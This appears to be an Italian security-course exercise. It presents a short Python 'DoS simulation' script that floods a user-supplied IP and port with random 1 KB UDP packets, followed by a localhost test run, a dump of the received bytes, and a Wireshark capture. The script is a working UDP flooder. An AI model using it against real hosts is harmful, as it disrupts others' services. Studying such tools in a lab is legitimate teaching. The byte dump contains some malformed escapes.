

```
1  import socket, random
2
3  #Il programma deve richiedere l'inserimento dell'IP target.
4  SRV_ADDR = str(input("Inserisci l'Ip target: "))
5
6  #Il programma deve richiedere l'inserimento della porta target.
7  SRV_PORT = int(input("Inserisci la porta target: "))
8
9  server_target = (SRV_ADDR,SRV_PORT)
10
11 #La grandezza dei pacchetti da inviare è di 1 KB per pacchetto
12 pack = random.randbytes(1024)
13 s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
14
15 #Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.
16 num_pacchetti = int(input("Quanti pacchetti vuoi inviare?: "))
17 |
18 contatore = 0
19 for _ in range(num_pacchetti):
20 |     s.sendto(pack, server_target)
```

(kali@kali)-[~/Desktop/Epicode/S3/L5]

\$ python Simulazione_Dos.py

Inserisci l'Ip target: 127.0.0.1

Inserisci la porta target: 4444

Quanti pacchetti vuoi inviare?: 10

Ricevuti: b'\xf5\xa0V!\xb3\xbe\xdd\xbfX%\xc0\xd4\x9a\xb4\x93\xcb\xbb\xec~\xa8\xa5\xff\xb
cX\x9f\xa30\xab~\xc7\xdbK\xb7\x88\x07u\x01u\xe9\x0b\x91@l\xa55yJ\x16\x95\x83\xf9\xa4\x1
3\xaev\xbcZD\xb90x}\xd0\xb5-\xa0[\x0eKG\x14\r\xce'\xa6i\x8aa\xdeL\xf2\x83\xae\x8c\xaa+w_
B\x88Tv\xb5\xfd\xac\x82Hi\xd6\xfd(\xff\xeaz\xedD\xef\x9v\x87\x6a\xba^9\xb0G10o\xef/\xf
3\x89\x1a\x08\xc59\xcd#\x96H0\xefE\xd1\xd4\x97\xde@rb\x04I\xee\xd2\xf3\x8d\xa0w\x80G\x1f{
\x88}ui\x12\x14"5\xcb\xb6\xb9\xcd\x03\x7f\xd0LN\x10\xc7\xd9\xe4\x8a\xc6#\x01!\xe65T\xc1\x
13\x0c\xab\x16\xba\xb8\xf8^xaaie\$\xa6I}\xc3\xb6\xdcB_\x80X\xed\x92A)R\x95\xf2\x1e\x9c\xe
d\xac\xdbT\x87B\x1fN\xd6\x10\xb9*\xa553\xfa\xb1\xbf\xdfg].X\xef\xde\x8e\x84\xb3\xdb\xd0\x
ae\xe0w\x9c6\x89\xda>\x90\x99aT\xe7\xdc\t.\xb4\x13\xe9)\xd5\xa9\xa3\xa1\xb1\x9dv s\r\x1e\
x9dbWu\x99^\x04\x16s@\xe2d\xaejP\xe9\xae\xe5\xd4\xf1\xebDo\xab\x90\xb6\x14\xe5g\x7fE\xc5\
xec*U\xd8\\5\xc1\xc7\xafVA\x14\xf5\xcc\xfetAz\xc09\xd42\xe4\x82\xa3y\xd5\xaf\xaa\xf2\xff\
xd1B\r\xa2\x00\xad\xaf?\xaf'\x0b\x14u\x0c\x05\xf2\xc1\xb1\x8a\x03\xc4\x1ccH/\xa0\xdf\xa4\
\xd5\x08\n\xde*5\xdcW\x99<||-\xf1\xfc{x\x7f\xdb\xbd\xe5C\xe2\x0b\xac0:\x00\xd0\xe0):\xb6/
\x13'\xa0+\xb9:\xb6\x8eN\x8a\x01,\xaa\x0cxyjRJB\xb3Y\xee?\xd1\xf2E;\xa4\x19\x14\xac\xffN
\xc5r\xf3\xfe\xf6\x12\x96\xb2\x0e\x9cX\xd6b\xfe\x91>2g4\xad\xd2\x87\x8d\xcb\xf30Z\xb1\x1
2\xcb\xd0\xcd\xbd\xbb1\$5\xdaX\xf3\x8e\xff?\x11\x0b\xe1\xb23\xe94\x8a\r\xed\xdd\xc3\xcb1\x
8cz\xdeD\x98;U\x83\xa2zw\x9e\x05\xa6\x9f\x8f~B\x8e\x18\x14\xe3\xe4\xac\xd5\xe3\xa8~\xc6'\n
\xb0MLH^K\x0b\xddd\xfe\x9e\x87\xefBA\xa74\xc4bF0\xcfN\x180\x9bD\xe9_\xd9*]\x8b\x0ca\x1b\x
9a\t\xd9\x94a\xdc\x8f\xe1\x01\x17\xac\xa4>[b\x87vST\x9b2!\x9d\xc7\xc0\x90\xd8\x17\t\x1a\x
01G\xbd\xa1\x97\x9d0?^y36~\xfa7\xe5\x8d\x11\xce\xe6\n1\xe7\x11\xf26\xac\xfd_\xb7\x04\x162
p\xd1:3\x92\xa6\xf4i]\xd0\x8bs\xf9x\x8d\xec!\xa2\xf9\xc4'\xd6\x1bE\xa6\xa2u\x82\x00q\xee
\xe3\x00|\xc4\xeb\xb2\xd6"\xa6\xd3E\x8d\xf7;\x8e\xe1\xf1kD} Rt\xda6m\xeb\x17B\xa7\x8f\x6c
d]\x02\xd1c\xaeiWY6N\xe2\x9b\xe8||\xb9\xac\xedP\xd2\xb3\xb2\xe8h\xd9\['_\xf7*\xe3\n\x85\x
fdi \xf0]\x84\xd7\x8d\xf5\xf9U\x11\xeb'\x0fuT\x9a\xe74\xe1\xae\x92\xd2\xd8Rm2?\xe6\x90\x
e\xe7\xae6J\x03\xc6\xc6\x88\xd7 \xa0Bv"|\xbec8\x92\xff\xda\x9f\xb4\x0e\xfc\xd2E\xf3\xb2w\
xc9\x16\xc7\xc2\x85\x8b^x96;\x14\t\xc66\xa9\x01\x93\xa8\xb4, !!y0\xfc3\x94\x92\x08>\xe0\x
d5lW\xc6\xc6\xd9\xf9\x01\x1a\xa4uq\xa8\x02\x8a\xfe\xf2\xf9K\xc8\x84\xf7f^x96\xbdDwd\x05\
xa7>\xa5\xdf\xcf\xa7\xc0Bk\xba@\x9dqc7~\xa1\xaeP\x88\xb0\x01\xf4\xfd\xb9\xe12\xb7\x9b\x98
\x9c\x1c\xcb\x90\xba\x00=\x07T\xf7J7\xa8\xef]\x9c\xebv\xe3LK\t\xa2\x9d\x9c\xe5%j\xce\xe0\
xb7/\x91\x1b\xfbE\xef\xe1\x0b\x93\xcckh1\x8c\x9f\x82\xdf\x9f\x8ty\x12*\xc9\xec\x97ka_F|*
\xf74x\x9c\x01\xf9x"\x86\xa0\xf1\xcbNtH\xb1E\xb81T\x86\xb33\xcc\xd6\xf7\x5h\xd1o\x9p\x
03\x9fV\x02\xf3[a\xa3\xfa\xe5\x16\x15\xcbf`ZR\x98~^\xa2\x032e=\xf7\x1d\n\x5\xcf\xb7\xca\
xf7\xb5~\r"f,\xd7^!\x8c\xea\x94\x01\x06\xb4F\x00=~wJY\xbe'

any						
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help						
ip.addr == 127.0.0.1						
No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	127.0.0.1	127.0.0.1	UDP	1068	4444 → 4444 Len=1024
2	0.001091521	127.0.0.1	127.0.0.1	UDP	1068	4444 → 4444 Len=1024
3	0.001710037	127.0.0.1	127.0.0.1	UDP	1068	4444 → 4444 Len=1024
4	0.004820329	127.0.0.1	127.0.0.1	UDP	1068	4444 → 4444 Len=1024
5	0.004937172	127.0.0.1	127.0.0.1	UDP	1068	4444 → 4444 Len=1024
6	0.005112939	127.0.0.1	127.0.0.1	UDP	1068	4444 → 4444 Len=1024
7	0.005676639	127.0.0.1	127.0.0.1	UDP	1068	4444 → 4444 Len=1024
8	0.005762229	127.0.0.1	127.0.0.1	UDP	1068	4444 → 4444 Len=1024
9	0.005836273	127.0.0.1	127.0.0.1	UDP	1068	4444 → 4444 Len=1024
10	0.006222865	127.0.0.1	127.0.0.1	UDP	1068	4444 → 4444 Len=1024